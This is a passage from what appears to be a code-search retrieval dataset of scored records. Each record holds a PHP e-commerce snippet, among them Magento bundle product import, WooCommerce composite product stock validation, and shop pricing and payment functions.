\"descrizione\"=>t(\"Listino-base\"),\n \"owner\"=>$this->owner\n ),\n \"\"\n \n );\n \n \n \n }", "title": "" }, { "docid": "5000467519e734dac063c96a192bc634", "score": "0.47356823", "text": "public function getSubAmount();", "title": "" }, { "docid": "15ddc73d49f60e9adc496f947b989e2b", "score": "0.47127497", "text": "public function getBusinessUnits();", "title": "" }, { "docid": "4dcc3c022fd63e73beb53bc5264f7ec7", "score": "0.4680835", "text": "public function getMinQuantity();", "title": "" }, { "docid": "345450675480f5780df8b141f0d04653", "score": "0.4665178", "text": "public function sellQuantity()\n\t{\n\t\treturn $this->buy ? $this->quantity * $this->price : $this->quantity;\n }", "title": "" }, { "docid": "2778f2de9dc2e2740463e24d994cde9b", "score": "0.46640813", "text": "function hook_get_dispatchable_quantity($line_item, $location, $date, $qoh) {\n\t\t$result = hook_invoke_first('get_dispatchable_quantity', $line_item, array($location, $date, $qoh));\n\t\treturn $result !== null ? $result : hooks::default_get_dispatchable_quantity($line_item, $location, $date, $qoh);\n}", "title": "" }, { "docid": "b17df5aae2c97eda2965f5c821939854", "score": "0.46211767", "text": "public function buy_boosterpack(){\n return $this->response_success(['amount' => rand(1,55)]);\n }", "title": "" }, { "docid": "ab662e374b2c666ac5e475c17c332e76", "score": "0.4612885", "text": "public function createBundleProduct($data, $valid) {\n $storeloop = array('default', 'fr', 'nl'); \n if(isset($data['device_sku']) && $data['plan_sku']){\n $check = $this->productAvailablityChecking($data['device_sku'],$data['plan_sku']); \n if($check['device']['COUNT(*)'] == '1' && $check['virtual']['COUNT(*)'] == '1'){ \n\t\t$sku = '';\n $dsku = '';\n $vsku = '';\n $name = '';\n $deviceName = '';\n $planName = '';\n $sohoPrice = '';\n if(isset($data['soho_price']) && $data['soho_price'] != ''){\n $sohoPrice = $data['soho_price'];\n }else{\n $sohoPrice = $data['price'];\n } \n \n foreach ($storeloop as $loop) {\n if($loop == 'default'){ $code = '' ;}else { $code = $loop; }\n $dsku = $data['device_sku'];\n $vsku = $data['plan_sku'];\n $sku = $dsku . ' + ' . $vsku;\n $store_view_code = $code;\n $attribute_set_code = 'Default';\n $product_type = 'bundle';\n $categories = '';\n if($loop == 'default'){ $product_websites = 'base'; }else { $product_websites = ''; }\n $deviceName = $this->getDetaillsFromVarCharTable($data['device_sku'], $loop, '73');\n $planName = $this->getDetaillsFromVarCharTable($data['plan_sku'], $loop, '73');\n $name = $deviceName . ' + ' . $planName;\n $description = $this->getDetaillsFromTextTable($data['device_sku'], $loop, '338');\n $short_description = $this->getDetaillsFromTextTable($data['device_sku'], $loop, '85');\n if($loop == 'default'){ $weight = 1; }else {$weight= ''; }\n if($loop == 'default'){ $product_online = $this->getProductStatusInfor($data['device_sku']); }\n if($loop == 'default'){ $tax_class_name = 'Taxable Goods'; }else {$tax_class_name= ''; }\n if($loop == 'default'){ $visibility = 'Catalog, Search'; }else {$visibility= ''; }\n if($loop == 'default'){ $price = $data['price']; }else {$price= ''; } \n if($loop == 'default'){ $soho_priceVal = $sohoPrice; }else {$soho_priceVal = ''; }\n if($loop == 'default'){ $special_price = ''; }else {$special_price= ''; }\n if($loop == 'default'){ $special_price_from_date = ''; }else {$special_price_from_date= ''; }\n if($loop == 'default'){ $special_price_to_date = ''; }else {$special_price_to_date= ''; }\n if($loop == 'default' || $loop == 'fr'){ $url_key = strtolower($this->getDetaillsFromVarCharTableURL($data['device_sku'], $data['plan_sku'], $loop, '124')); } else { $url_key = ''; }\n\t\t\t$this->urlpath[$sku][$loop] = $url_key;\n $meta_title = $name;\n $meta_keywords = '';\n $meta_description = $this->metatitledec($deviceName,$planName,$data['price'],$loop);\n $dt = new \\DateTime();\n if($loop == 'default'){ $created_at = $dt->format('Y-m-d H:i:s'); }else {$created_at ='';}\n if($loop == 'default'){ $updated_at = $dt->format('Y-m-d H:i:s'); }else {$updated_at ='';}\n $new_from_date = '';\n $new_to_date = '';\n if($loop == 'default'){ $display_product_options_in = 'Block after Info Column'; }else {$display_product_options_in = ''; }\n $map_price = ''; \n $msrp_price = '';\n $map_enabled = '';\n $gift_message_available = '';\n $custom_design = '';\n $custom_design_from = '';\n $custom_design_to = '';\n $custom_layout_update = '';\n $page_layout = '';\n $product_options_container = '';\n if($loop == 'default'){ $msrp_display_actual_price_type = 'Use config'; }else { $msrp_display_actual_price_type = ''; }\n $country_of_manufacture = '';\n if($loop == 'default'){ $additional_attributes = 'has_options=1,shipment_type=together,quantity_and_stock_status=In Stock,required_options=0'; }else { $additional_attributes =''; }\n if($loop == 'default'){ $qty = 0; }else { $qty = ''; }\n if($loop == 'default'){ $out_of_stock_qty = 0; }else { $out_of_stock_qty = '';}\n if($loop == 'default'){ $use_config_min_qty = 1; }else { $use_config_min_qty ='';}\n if($loop == 'default'){ $is_qty_decimal = 0; }else { $is_qty_decimal ='';}\n if($loop == 'default'){ $allow_backorders = 0; }else { $allow_backorders ='';}\n if($loop == 'default'){ $use_config_backorders = 1; }else { $use_config_backorders ='';}\n if($loop == 'default'){ $min_cart_qty = 1; }else {$min_cart_qty =''; }\n if($loop == 'default'){ $use_config_min_sale_qty = 0; }else {$use_config_min_sale_qty = ''; }\n if($loop == 'default'){ $max_cart_qty = 0; }else {$max_cart_qty = ''; }\n if($loop == 'default'){ $use_config_max_sale_qty = 1; }else {$use_config_max_sale_qty = '';}\n if($loop == 'default'){ $is_in_stock = 1; }else {$is_in_stock =''; }\n $notify_on_stock_below = '';\n if($loop == 'default'){ $use_config_notify_stock_qty = 1; }else { $use_config_notify_stock_qty= ''; }\n if($loop == 'default'){ $manage_stock = 0; }else {$manage_stock='';}\n if($loop == 'default'){ $use_config_manage_stock = 1; }else {$use_config_manage_stock ='';}\n if($loop == 'default'){ $use_config_qty_increments = 1; }else {$use_config_qty_increments ='';}\n if($loop == 'default'){ $qty_increments = 0; }else {$qty_increments = '';}\n if($loop == 'default'){ $use_config_enable_qty_inc = 1; }else {$use_config_enable_qty_inc =''; }\n if($loop == 'default'){ $enable_qty_increments = 0; }else {$enable_qty_increments =''; }\n if($loop == 'default'){ $is_decimal_divided = 0; }else {$is_decimal_divided = ''; }\n if($loop == 'default'){ $website_id = 1; }else {$website_id = ''; }\n if($loop == 'default'){ $deferred_stock_update = 0; }else { $deferred_stock_update=''; }\n if($loop == 'default'){ $use_config_deferred_stock_update = 1; }else { $use_config_deferred_stock_update ='';}\n $related_skus = '';\n $crosssell_skus = '';\n $upsell_skus = '';\n $hide_from_product_page = '';\n $custom_options = '';\n if($loop == 'default'){ $bundle_price_type = 'fixed'; }else {$bundle_price_type ='';}\n if($loop == 'default'){ $bundle_sku_type = 'fixed'; }else {$bundle_sku_type = ''; }\n if($loop == 'default'){ $bundle_price_view = 'Price range'; } else {$bundle_price_view=''; } \n if($loop == 'default'){ $bundle_weight_type = 'fixed'; }else { $bundle_weight_type = ''; }\n if($loop == 'default'){ $bundle_values = \"name=$name,type=checkbox,required=1,sku=$dsku,price=0.0000,default=1,default_qty=1.0000,price_type=fixed|name=$name,type=checkbox,required=1,sku=$vsku,price=0.0000,default=1,default_qty=1.0000,price_type=fixed\"; }else{ $bundle_values = ''; }\n if($loop == 'default'){ $product_icon_image = \"connection\"; }else {$product_icon_image = ''; }\n if($loop == 'default'){ $shipment_type = 0; } else {$shipment_type=''; } \n $custom_bundle = 'yes';\n $pID = $this->getPordID($dsku);\n $image = $this->getProductImagePath($pID);\n $imagebase = $this->getBaseProductImagePath($pID);\n if($loop == 'default'){ $this->imgPath[$sku]['base'] = $imagebase; } \n $handset_family = $this->getDetaillsFromVarCharTable($data['device_sku'], $loop, '347');\n if($loop == 'default'){ $this->imgPath[$sku]['additional_images'] = $this->additionalImage($image); }\n if($loop == 'default'){ $context = $this->getContextAttr($data['context']); }else {$context= ''; }\n if($loop == 'default'){ $bundle_delete = 'no'; }\n \n $row[$sku][$loop] = array($sku, $store_view_code, $attribute_set_code, $product_type, $categories, $product_websites, $name,\n $description, $short_description, $weight, $product_online, $tax_class_name, $visibility, $price, $soho_priceVal, $special_price,\n $special_price_from_date, $special_price_to_date, $url_key, $meta_title, $meta_keywords, $meta_description,\n $created_at, $updated_at, $new_from_date, $new_to_date, $display_product_options_in, $map_price, $msrp_price,\n $map_enabled, $gift_message_available, $custom_design, $custom_design_from, $custom_design_to, $custom_layout_update,\n $page_layout, $product_options_container, $msrp_display_actual_price_type, $country_of_manufacture,\n $additional_attributes, $qty, $out_of_stock_qty, $use_config_min_qty, $is_qty_decimal, $allow_backorders,\n $use_config_backorders, $min_cart_qty, $use_config_min_sale_qty, $max_cart_qty, $use_config_max_sale_qty,\n $is_in_stock, $notify_on_stock_below, $use_config_notify_stock_qty, $manage_stock, $use_config_manage_stock,\n $use_config_qty_increments, $qty_increments, $use_config_enable_qty_inc, $enable_qty_increments,\n $is_decimal_divided, $website_id, $deferred_stock_update, $use_config_deferred_stock_update, $related_skus,\n $crosssell_skus, $upsell_skus, $hide_from_product_page, $custom_options, $bundle_price_type, $bundle_sku_type,\n $bundle_price_view, $bundle_weight_type, $bundle_values, $product_icon_image, $shipment_type,$custom_bundle,$handset_family,\n $context,$bundle_delete \n );\n }\n return $row;\n }else{\n $this->messageManager->addError('Error in row value '.$data['device_sku']. ' OR '.$data['plan_sku']);\n }\n }else{\n $this->messageManager->addError('Error in File');\t\t\t \n } \n \n }", "title": "" }, { "docid": "f0fb2d37f6f1623533e3c1e115b575f4", "score": "0.45982352", "text": "public function bundle();", "title": "" }, { "docid": "f0fb2d37f6f1623533e3c1e115b575f4", "score": "0.45982352", "text": "public function bundle();", "title": "" }, { "docid": "59684a7da4fcb0e2c205472e711a2d7c", "score": "0.45839846", "text": "public function getBtcAmount();", "title": "" }, { "docid": "091478ac23ec3715b0d00640bfa26d14", "score": "0.4583308", "text": "public function getBuytype()\n {\n return $this->buytype;\n }", "title": "" }, { "docid": "23f1dd5d942b317699db30ac08adcf8a", "score": "0.45774275", "text": "function show_bank()\t{\n\t\t$list = array_keys($this->basket[\"products\"]);\n\t\t$where = \"uid IN (\";\n\t\tforeach($list as $id)\n\t\t{\n\t\t\tif ($this->basket[\"products\"][$id][\"num\"]>0)\t{\n\t\t\t\t$where.=$id.\",\";\n\t\t\t}\n\t\t}\n\t\t$where = substr($where,0,-1).\")\";\n\t\t$res = $GLOBALS['TYPO3_DB']->exec_SELECTquery('*', 'tx_extendedshop_products', $where,'','','');\n\n\t\t$template = trim($this->cObj->getSubpart($this->config[\"templateCode\"],$this->spMarker(\"###ONLINEBANK_TEMPLATE###\")));\n\t\t\n\t\t$this->calculatedSums_tax[\"payment\"] = $this->basket[\"payment\"][\"priceTax\"];\n\t\t$this->calculatedSums_tax[\"shipping\"] = $this->basket[\"shipping\"][\"priceTax\"];\n\t\t\n\t\t$partial = 0;\n\t\twhile($row = $GLOBALS['TYPO3_DB']->sql_fetch_assoc($res))\t\t{\n\t\t\t//$partial += $row[\"price\"]*$this->basket[\"products\"][$row['uid']][\"num\"];\n\t\t\t$partial += $this->basket[\"products\"][$row['uid']][\"price\"]*$this->basket[\"products\"][$row['uid']][\"num\"];\n\t\t}\n\t\t\n\t\t$markerArray[\"###BASKET_TOTAL###\"] = $this->priceFormat($partial+$this->calculatedSums_tax[\"payment\"]+$this->calculatedSums_tax[\"shipping\"]);\n\t\t$markerArray[\"###BASKET_TOTAL_NOFORMAT###\"] = $partial+$this->calculatedSums_tax[\"payment\"]+$this->calculatedSums_tax[\"shipping\"];\n\t\t$this->calculatedSums_tax[\"total\"] = $markerArray[\"###BASKET_TOTAL###\"];\n\t\t\n\t\t\n\t\t//$this->basket[\"payment.\"][\"key\"]\n\t\tif ($this->basket[\"payment\"][\"bankcode\"]==\"paypal\")\n\t\t\t$markerArray[\"###FORM_URL_ONLINEBANK###\"] = $this->calculatePayPalParameters($markerArray);\n\t\tif ($this->basket[\"payment\"][\"bankcode\"]==\"gestpay\")\n\t\t\t$markerArray[\"###FORM_URL_ONLINEBANK###\"] = $this->calculateGestPayParameters($markerArray);\n\t\tif ($this->basket[\"payment\"][\"bankcode\"]==\"sella\")\n\t\t\t$markerArray[\"###FORM_URL_ONLINEBANK###\"] = $this->calculateBancaSellaParameters($markerArray);\n\t\tif ($this->basket[\"payment\"][\"bankcode\"]==\"authorize\")\t{\n\t\t\t$markerArray = $this->calculateAuthorizeParameters($markerArray);\n\t\t\t$template = trim($this->cObj->getSubpart($this->config[\"templateCode\"],$this->spMarker(\"###AUTHORIZE_TEMPLATE###\")));\n\t\t}\n\t\t\n\t\t$markerArray[\"###BANK_NAME###\"] = $this->basket[\"payment\"][\"bankname\"];\n\t\t$markerArray[\"###BANK_LINK###\"] = $this->basket[\"payment\"][\"banklink\"];\n\t\t\n\t\treturn $this->cObj->substituteMarkerArray($this->manageLabels($template), $markerArray);\n\t}", "title": "" }, { "docid": "6e85b8e828c463bd72acbc0aa73b02e9", "score": "0.45715228", "text": "function amount_in_stock($product_id, $color, $size)\n{\n // unknown magic happens here\n\n return 3;\n}", "title": "" }, { "docid": "631df9d67752ffd0ae4baaa33c9c8355", "score": "0.45679232", "text": "function sumProduct(ProductInterface $product, $gross = true);", "title": "" }, { "docid": "b5e02d5541a2860eec8bc8fd38e6a3e2", "score": "0.45623448", "text": "public function funct_producto_buscar(){\n }", "title": "" }, { "docid": "8cb9e4a23a08dd5163b37738a032e778", "score": "0.4555258", "text": "public function getTaxableBasis()\n {\n $product = $this->getProduct();\n\n return $product ? $product->getTaxableBasis() : null;\n }", "title": "" }, { "docid": "f36d0c6f15e7d69ee029655f43235835", "score": "0.45549494", "text": "public function buy();", "title": "" }, { "docid": "ef4e758f7ab5dbbb18368a3945640cc7", "score": "0.45453104", "text": "public function computeBill() {\n $bill = 0;\n $bill += $this->orders[\"Fish\"] * self::FISH;\n $bill += $this->orders[\"Steak\"] * self::STEAK;\n $bill += $this->orders[\"Chicken\"] * self::CHICKEN;\n $bill = $bill * (1-$this->getDiscount()); // compute price after discount\n return $bill;\n }", "title": "" }, { "docid": "02c107de08bd295642e8a4436b95af96", "score": "0.45201653", "text": "public function getPricingMethod();", "title": "" }, { "docid": "f663a00ec063a07b1f5861fc8ab5ae4b", "score": "0.4517335", "text": "function woo_bto_validation( $add, $product_id, $quantity ) {\n\n\t\tglobal $woocommerce;\n\n\t\t// Get product type\n\t\t$terms \t\t\t= get_the_terms( $product_id, 'product_type' );\n\t\t$product_type \t= ! empty( $terms ) && isset( current( $terms )->name ) ? sanitize_title( current( $terms )->name ) : 'simple';\n\n\t\tif ( $product_type == 'bto' ) {\n\n\t\t\tif ( isset( $_REQUEST[ 'add-product-to-cart' ] ) && is_array( $_REQUEST[ 'add-product-to-cart' ] ) ) {\n\n\t\t\t\t$bto_data \t= maybe_unserialize( get_post_meta( $product_id, '_bto_data', true ) );\n\t\t\t\t$valid_ids \t= array_keys( $bto_data );\n\n\t\t\t\t// Check request and prepare variation stock check data\n\t\t\t\t$stock_check_data = array();\n\n\t\t\t\tforeach ( $valid_ids as $bundled_item_id ) {\n\n\t\t\t\t\t// Check that a product has been selected\n\t\t\t\t\tif ( isset( $_REQUEST[ 'add-product-to-cart' ][ $bundled_item_id ] ) && $_REQUEST[ 'add-product-to-cart' ][ $bundled_item_id ] !== '' ) {\n\t\t\t\t\t\t$bundled_product_id = $_REQUEST[ 'add-product-to-cart' ][ $bundled_item_id ];\n\t\t\t\t\t} else {\n\t\t\t\t\t\t$woocommerce->add_error( __( 'Please choose product options&hellip;', 'woocommerce' ) );\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\t// Verfify that the product is optional - TODO\n\t\t\t\t\tif ( $bundled_product_id === '0' )\n\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t// Prevent people from fucking around\n\t\t\t\t\tif ( ! in_array( $bundled_product_id, $bto_data[ $bundled_item_id ][ 'assigned_ids' ] ) ) {\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\t$item_quantity_min = $bto_data[$bundled_item_id][ 'quantity_min' ];\n\t\t\t\t\t$item_quantity_max = $bto_data[$bundled_item_id][ 'quantity_max' ];\n\n\t\t\t\t\t$item_quantity \t\t\t= ( isset( $_REQUEST[ 'item_quantity' ][ $bundled_item_id ] ) && $_REQUEST[ 'item_quantity' ][ $bundled_item_id ] >= $item_quantity_min && $_REQUEST[ 'item_quantity' ][ $bundled_item_id ] <= $item_quantity_max ) ? (int) $_REQUEST[ 'item_quantity' ][ $bundled_item_id ] : $item_quantity_min;\n\t\t\t\t\t$composite_quantity \t= ( isset( $_REQUEST[ 'quantity' ] ) && $_REQUEST[ 'quantity' ] > 0 ) ? (int) $_REQUEST[ 'quantity' ] : 1;\n\t\t\t\t\t$quantity\t\t\t\t= $item_quantity * $composite_quantity;\n\n\t\t\t\t\t// Get bundled product type\n\t\t\t\t\t$terms \t\t\t\t\t= get_the_terms( $bundled_product_id, 'product_type' );\n\t\t\t\t\t$bundled_product_type \t= ! empty( $terms ) && isset( current( $terms )->name ) ? sanitize_title( current( $terms )->name ) : 'simple';\n\n\t\t\t\t\tif ( $bundled_product_type == 'variable' ) {\n\n\t\t\t\t\t\tif ( isset( $_REQUEST[ 'variation_id' ][ $bundled_item_id ] ) && is_numeric( $_REQUEST[ 'variation_id' ][ $bundled_item_id ] ) && $_REQUEST[ 'variation_id' ][ $bundled_item_id ] > 1 ) {\n\n\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'type' ] = 'variable';\n\n\t\t\t\t\t\t\t$variation_id \t\t= $_REQUEST[ 'variation_id' ][ $bundled_item_id ];\n\t\t\t\t\t\t\t$variation_stock \t= get_post_meta( $variation_id, '_stock', true );\n\n\t\t\t\t\t\t\tif ( get_post_meta( $variation_id, '_price', true ) === '' ) {\n\t\t\t\t\t\t\t\t$woocommerce->add_error( sprintf( __( 'Sorry, the selected variation of &quot;%s&quot; cannot be purchased.', 'woocommerce-bto' ), get_the_title( $id ) ) );\n\t\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t\tif ( !isset( $stock_check_data[ $bundled_product_id ][ 'variations' ] ) )\n\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'variations' ] = array();\n\n\t\t\t\t\t\t\tif ( !isset( $stock_check_data[ $bundled_product_id ][ 'managed_quantities' ] ) )\n\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'managed_quantities' ] = array();\n\n\t\t\t\t\t\t\tif ( !in_array( $variation_id, $stock_check_data[ $bundled_product_id ][ 'variations' ] ) )\n\t\t\t\t\t\t\t\t$stock_check_data[$bundled_product_id][ 'variations' ][] = $variation_id;\n\n\t\t\t\t\t\t\t// If stock is managed on a variation level\n\t\t\t\t\t\t\tif ( isset( $variation_stock ) && $variation_stock !== '' ) {\n\n\t\t\t\t\t\t\t\t// If a stock-managed variation is added to the cart multiple times,\n\t\t\t\t\t\t\t\t// its stock must be checked for the sum of all quantities\n\t\t\t\t\t\t\t\tif ( isset( $stock_check_data[ $bundled_product_id ][ 'managed_quantities' ][ $variation_id ] ) )\n\t\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'managed_quantities' ][ $variation_id ] += $quantity;\n\t\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'managed_quantities' ][ $variation_id ] = $quantity;\n\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse {\n\n\t\t\t\t\t\t\t\t// Non-stock-managed variations of the same item\n\t\t\t\t\t\t\t\t// must be stock-checked together\n\t\t\t\t\t\t\t\tif ( isset( $stock_check_data[ $bundled_product_id ][ 'quantity' ] ) )\n\t\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'quantity' ] += $quantity;\n\t\t\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'quantity' ] = $quantity;\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse {\n\t \t\t\t\t\t$woocommerce->add_error( __( 'Please choose product options&hellip;', 'woocommerce' ) );\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Verify all attributes for the variable product were set\n\n\t\t\t\t\t\t$attributes = ( array ) maybe_unserialize( get_post_meta( $bundled_product_id, '_product_attributes', true ) );\n\t\t\t \t\t$variations = array();\n\t\t\t \t\t$all_set \t= true;\n\n\t\t\t \t\t$variation_data = array();\n\n\t\t\t\t\t\t$custom_fields = get_post_meta( $variation_id );\n\n\t\t\t\t\t\t// Get the variation attributes from meta\n\t\t\t\t\t\tforeach ( $custom_fields as $name => $value ) {\n\t\t\t\t\t\t\tif ( ! strstr( $name, 'attribute_' ) )\n\t\t\t\t\t\t\t\tcontinue;\n\n\t\t\t\t\t\t\t$variation_data[ $name ] = sanitize_title( $value[0] );\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\t// Verify all attributes are set and valid\n\t\t\t\t\t\tforeach ( $attributes as $attribute ) {\n\t\t\t\t\t\t if ( ! $attribute[ 'is_variation' ] )\n\t\t\t\t\t\t \tcontinue;\n\n\t\t\t\t\t\t $taxonomy = 'attribute_' . sanitize_title( $attribute[ 'name' ] );\n\n\t\t\t\t\t\t\tif ( ! empty( $_REQUEST[ $taxonomy ][ $bundled_item_id ] ) ) {\n\n\t\t\t\t\t\t // Get value from post data\n\t\t\t\t\t\t // Don't use woocommerce_clean as it destroys sanitized characters\n\t\t\t\t\t\t $value = sanitize_title( trim( stripslashes( $_REQUEST[ $taxonomy ][ $bundled_item_id ] ) ) );\n\n\t\t\t\t\t\t // Get valid value from variation\n\t\t\t\t\t\t $valid_value = $variation_data[ $taxonomy ];\n\n\t\t\t\t\t\t // Allow if valid\n\t\t\t\t\t\t if ( $valid_value == '' || $valid_value == $value ) {\n\t\t\t\t\t\t continue;\n\t\t\t\t\t\t }\n\n\t\t\t\t\t\t\t}\n\n\t\t\t\t\t\t $all_set = false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ( ! $all_set ) {\n\t\t\t\t\t\t\t$woocommerce->add_error( __( 'Please choose product options&hellip;', 'woocommerce' ) );\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\telseif ( $bundled_product_type == 'simple' ) {\n\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'type' ] = 'simple';\n\n\t\t\t\t\t\tif ( isset( $stock_check_data[ $bundled_product_id ][ 'quantity' ] ) )\n\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'quantity' ] += $quantity;\n\t\t\t\t\t\telse {\n\t\t\t\t\t\t\t$stock_check_data[ $bundled_product_id ][ 'quantity' ] = $quantity;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t// Check stock for bundled items one by one\n\t\t\t\t// If out of stock, don't proceed\n\n\t\t\t\tforeach ( $stock_check_data as $bundled_product_id => $data ) {\n\n\t\t\t\t\tif ( $data['type'] == 'variable' ) {\n\n\t\t\t\t\t\tforeach( $data['variations'] as $variation_id ) {\n\n\t\t\t\t\t\t\tif ( array_key_exists( $variation_id, $data['managed_quantities'] ) )\n\t\t\t\t\t\t\t\t$quantity = $data['managed_quantities'][$variation_id];\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t\t$quantity = $data['quantity'];\n\n\t\t\t\t\t\t\tif ( ! $this->validate_stock( $bundled_product_id, $variation_id, $quantity, false, false ) )\n\t\t\t\t\t\t\t\treturn false;\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t\telseif ( $data['type'] == 'simple' ) {\n\n\t\t\t\t\t\t// if out of stock, don't proceed\n\t\t\t\t\t\tif ( ! $this->validate_stock( $bundled_product_id, '', $data['quantity'], false, false ) ) {\n\t\t\t\t\t\t\treturn false;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t} else {\n\t\t\t\treturn false;\n\t\t\t}\n\t\t}\n\n\t\treturn $add;\n\t}", "title": "" }, { "docid": "21032d7124960a8ba194e9610e2bd400", "score": "0.4510367", "text": "public function getFunc_bruto()\n {\n return $this->func_bruto;\n }", "title": "" }, { "docid": "7511ae3bcf4ee56b1f3406a03c514661", "score": "0.45069173", "text": "public function getBlockType();", "title": "" }, { "docid": "7511ae3bcf4ee56b1f3406a03c514661", "score": "0.45069173", "text": "public function getBlockType();", "title": "" }, { "docid": "8a305b026b95142d5bcbdfd2aecadff8", "score": "0.4500758", "text": "public function getBedType() {\n /**\n * Getting entity attribute model\n */\n return Mage::getResourceModel ( 'eav/entity_attribute' )->getIdByCode ( 'catalog_product', 'bed_type' );\n }", "title": "" }, { "docid": "9ac4dbf461d0ec5adf5b8acc469787d2", "score": "0.44988653", "text": "public function getBaseUnitPrice();", "title": "" }, { "docid": "689288bc734d57e4d0d99d71ca6a5ec6", "score": "0.44961336", "text": "function shippingFeecalCulator($totalweight){\r\n\treturn $totalweight*20; \r\n}", "title": "" }, { "docid": "ffadf52bb08e499c3c891c243bf5065a", "score": "0.44897893", "text": "public function getUnitPrice();", "title": "" }, { "docid": "ffadf52bb08e499c3c891c243bf5065a", "score": "0.44897893", "text": "public function getUnitPrice();", "title": "" }, { "docid": "1ad432a71f9cbe2d566be64666fa6f18", "score": "0.44873425", "text": "function historique_brut($type='total'){\n\t\treturn HistoriqueStock::historique_brut($this->id,$type);\n\t}", "title": "" }, { "docid": "076e3e520a2249c29350a0e1c2b0afb8", "score": "0.44531003", "text": "function hook_fee_catalog_info() {\n\n}", "title": "" }, { "docid": "0f7c1f4673d95643cd7a8514c847a100", "score": "0.44509143", "text": "public function getFuel();", "title": "" }, { "docid": "6e381bae7fd6e032d3931e4f69ed1cb9", "score": "0.44461495", "text": "public function getPricePerUnitTo()\n {\n }", "title": "" }, { "docid": "9399e4e877db29b9c38dc6f92cc691e3", "score": "0.44449583", "text": "protected function getBoletoSicob()\r\n\t{\r\n\t\treturn Mage::getSingleton('boletosicob/standard');\r\n\t}", "title": "" }, { "docid": "bf8304a4aaefa8cb8ac28fbae3370ce1", "score": "0.4441169", "text": "public function getFinalUnitPrice();", "title": "" }, { "docid": "adeea657ed712982e4c93da69176f8ca", "score": "0.44377005", "text": "public function industrySlotCost() {\n // ModCost = {\n // Manf: base_cost * # of runs\n // Research: sumTotal = sum(base_cost * levelMultiplier\n // Copy: bose_cost * 0.02 * runsperCopy * # of runs\n // Invention/RE: base_cost * 0.02\n // }\n // ModCost2 = ModCost * costIndex ( crest:/industry/systems/ )\n // ModCost3 = ModCost2 * facilityBonus ( DB:ramAssemblyLineTypes )\n // Final Cost = ModCost3 * 0.10 ( tax for NPC station (faction related?) )\n }", "title": "" }, { "docid": "040727c7e7796a51444c12a5081ce2a6", "score": "0.4435858", "text": "public function getType()\n {\n return self::PRODUCT;\n }", "title": "" }, { "docid": "162345109da0555c69d410650c22ad4f", "score": "0.4428443", "text": "public function getPriceQualifier();", "title": "" }, { "docid": "befd3c63d28019a054b1d8028bd87ca6", "score": "0.4413079", "text": "function sumProductByCode($code, $gross = true);", "title": "" }, { "docid": "487f899f5054f6f1281582658b0a7a74", "score": "0.44067818", "text": "public function addSB(){\n\n }", "title": "" }, { "docid": "dbf55e830659e87fcbfeb48b3ef3e78a", "score": "0.4406145", "text": "function woo_bto_type_options( $options ) {\n\n\t\t$options['per_product_shipping_bto'] = array(\n\t\t\t'id' => '_per_product_shipping_bto',\n\t\t\t'wrapper_class' => 'show_if_bto',\n\t\t\t'label' => __('Non-Bundled Shipping', 'woocommerce-bto'),\n\t\t\t'description' => __('If your Composite product consists of items that are assembled or packaged together, leave the box un-checked and just define the shipping properties of the product below. If, however, the composited items are shipped individually, their shipping properties must be retained. In this case, the box must be checked. \\'Non-Bundled Shipping\\' should also be selected when the composited items are all virtual.', 'woocommerce-bto')\n\t\t);\n\n\t\t$options['per_product_pricing_bto'] = array(\n\t\t\t'id' => '_per_product_pricing_bto',\n\t\t\t'wrapper_class' => 'show_if_bto',\n\t\t\t'label' => __('Per-Item Pricing', 'woocommerce-bto'),\n\t\t\t'description' => __('When enabled, the Composite product is priced per-item, based on the prices of the selected items.', 'woocommerce-bto')\n\t\t);\n\n\t\treturn $options;\n\t}", "title": "" }, { "docid": "b2fc5779068ce3d13afedd2ec6ad7727", "score": "0.4405185", "text": "protected function getFunction()\n {\n return 'calculateSalesTax';\n }", "title": "" }, { "docid": "a2dbb6dcc50c966e6f044a31b48f5bc2", "score": "0.4403992", "text": "private function getBundlePrice($product, $priceType)\n {\n /** @var \\Magento\\Bundle\\Model\\Product\\Type $typeInstance */\n $typeInstance = $product->getTypeInstance();\n $typeInstance->setStoreFilter($product->getStoreId(), $product);\n\n /** @var \\Magento\\Bundle\\Model\\ResourceModel\\Option\\Collection $optionCollection */\n $optionCollection = $typeInstance->getOptionsCollection($product);\n\n $selectionCollection = $typeInstance->getSelectionsCollection(\n $typeInstance->getOptionsIds($product),\n $product\n );\n\n $options = $optionCollection->appendSelections($selectionCollection, true, false);\n $bundlePrice = 0;\n if ($priceType == 'minPrice') {\n $bundlePrice = $this->bundleHelper->getMinOptionsPrice($product, $options);\n } elseif ($priceType == 'maxPrice') {\n $bundlePrice = $this->bundleHelper->getMaxOptionsPrice($product, $options);\n } elseif ($priceType == 'configured_price') {\n $bundlePrice = $this->bundleHelper->getConfiguredOptionsPrice($options);\n }\n\n return $bundlePrice;\n }", "title": "" }, { "docid": "f05899ae54e94a99255050ce4baaedde", "score": "0.43999353", "text": 